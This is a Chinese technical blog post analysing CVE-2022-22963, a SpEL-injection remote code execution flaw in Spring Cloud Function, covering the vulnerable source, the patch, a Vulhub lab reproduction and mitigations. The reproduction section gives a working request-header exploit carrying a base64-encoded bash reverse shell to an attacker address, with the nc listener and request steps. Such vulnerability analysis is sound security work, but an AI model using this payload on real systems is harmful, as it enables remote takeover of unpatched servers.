当前位置: 首页 > java >正文

CVE-2022-22963源码分析与漏洞复现

漏洞概述

CVE-2022-22963 是 Spring Cloud Function 框架中的高危远程代码执行(RCE)漏洞,影响版本为 3.1.6、3.2.2 及更早的不受支持版本。攻击者通过 HTTP 请求头 spring.cloud.function.routing-expression 注入恶意 SpEL 表达式,触发表达式解析并执行任意命令。该漏洞的核心问题在于路由功能的 SpEL 表达式解析未做安全限制。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Cloud Function 的 RoutingFunction 在处理路由请求时,直接从 HTTP 请求头或应用配置中提取 spring.cloud.function.routing-expression 的值,并作为 SpEL 表达式解析。攻击者可通过构造恶意表达式(如 T(java.lang.Runtime).exec("calc"))触发代码执行。
  • 高危上下文配置
    使用 StandardEvaluationContext 作为 SpEL 执行上下文,允许访问 Java 反射、系统类等敏感操作。
2. 源码分析
入口函数:RoutingFunction.route()
private Object route(Object input, boolean originalInputIsPublisher) {// 关键逻辑分支:处理 Message 类型输入if (input instanceof Message) {Message<?> message = (Message<?>) input;// 检查请求头中的路由表达式if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud.function.routing-expression"), message);}}return function.apply(input); // 执行目标函数
}

触发路径

  1. 请求头注入:攻击者设置 spring.cloud.function.routing-expression 头值为恶意表达式。
  2. 表达式解析:调用 functionFromExpression() 方法解析表达式。
  3. 代码执行StandardEvaluationContext 解析并执行表达式。
关键漏洞点:functionFromExpression()
private final StandardEvaluationContext evalContext = 
new StandardEvaluationContext();
//this.evalContext为StandardEvaluationContext类
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {// 解析用户输入的表达式(漏洞根源)Expression expression = spelParser.parseExpression(routingExpression);// 使用高危上下文执行表达式String functionName = expression.getValue(this.evalContext, input, String.class);return functionCatalog.lookup(functionName); // 查找并返回目标函数
}

问题分析

  • spelParser.parseExpression:直接解析用户输入的 routingExpression,未做过滤。
  • StandardEvaluationContext:允许执行任意 Java 方法,包括 Runtime.exec() 等危险操作。
  • 上下文绑定evalContext 绑定了 MapAccessorBeanResolver,进一步扩大了攻击面。
补丁分析

官方修复方案(Commit 0e89ee2):

1. 替换执行上下文

StandardEvaluationContext 替换为 SimpleEvaluationContext,禁用反射和危险操作:

// 修复后代码示例
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String functionName = expression.getValue(context, input, String.class);
2. 限制表达式来源

若表达式来自 HTTP 头,强制使用安全上下文,禁止使用 StandardEvaluationContext


漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
 docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8080,确认服务正常运行

在这里插入图片描述

攻击步骤(反弹shell)
1. 构造payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
  • 反弹shell的payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1base64编码(换成自己攻击机的ip和监听端口)

  • 最终payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
//将第一个payload的'命令'替换为反弹shell的payload
2.kail攻击机开启监听
nc -lvvp 6666

在这里插入图片描述

3.构造恶意请求
  • 用bp抓取访问http://target:8080的包
    在这里插入图片描述
  • 将请求头换为POST /functionRouter HTTP/1.1,并添加payload发送请求包
    在这里插入图片描述
4.验证
  • 反弹shell成功
    在这里插入图片描述

修复方案

1. 升级版本

升级至 Spring Cloud Function 3.1.7+3.2.3+,修复 SpEL 解析逻辑。

2. 输入过滤

若无法立即升级,通过 WAF 拦截包含 spring.cloud.function.routing-expression 的请求头,并过滤 T()# 等关键字。

3. 禁用路由功能

application.properties 中移除 spring.cloud.function.definition=functionRouter 配置。


总结

CVE-2022-22963 的根源在于 Spring Cloud Function 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。


参考链接

  1. Spring Cloud Function 官方公告
  2. 漏洞修复 Commit 记录
  3. Vulhub 复现环境
  4. Akamai 技术分析报告
  5. CVE-2022-22963 深度解析(FreeBuf)
  6. CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现
http://www.xdnf.cn/news/7394.html

相关文章:

  • Java EE初阶——单列模式和阻塞队列
  • 深入解析RAG技术:提升题目解答准确率的利器
  • turf的pointsWithinPolygon排查
  • window xampp apache使用腾讯云ssl证书配置https
  • 算法(最小基因变化+迷宫中离入口最近的出口)
  • C# 枚举 详解
  • linux kernel 编译
  • java的arraylist集合
  • TransactionSynchronizationManager事务同步器的使用
  • 统计客户端使用情况,使用es存储数据,实现去重以及计数
  • 【全解析】EN18031标准下的SCM安全通信机制全解析
  • 质检LIMS系统检测数据可视化大屏 全流程提效 + 合规安全双保障方案
  • 视频监控中的存储方式有哪些?EasyCVR视频监控汇聚平台如何打造高效监控存储
  • 高速系统设计实例设计分析之三
  • 蓝桥杯2300 质数拆分
  • 码蹄集——N是什么、棋盘
  • JVM(Java 虚拟机)深度解析
  • web基础常用标签
  • More Effective C++:改善编程与设计(下)
  • Seata源码—6.Seata AT模式的数据源代理三
  • 洛谷U536262 井底之“鸡” 附视频讲解
  • 提示词专家的修炼秘籍
  • harris角点检测
  • VisionPro:轴承错位标识
  • QT之绘图模块和双缓冲技术
  • MapStruct Date 转 LocalDate 偏差一天问题
  • 【C++】异常解析
  • AGI大模型(28):LangChain提示模板
  • MySQL中的Change Buffer是什么,它有什么作用?
  • 火山 RTC 引擎9 ----集成 appkey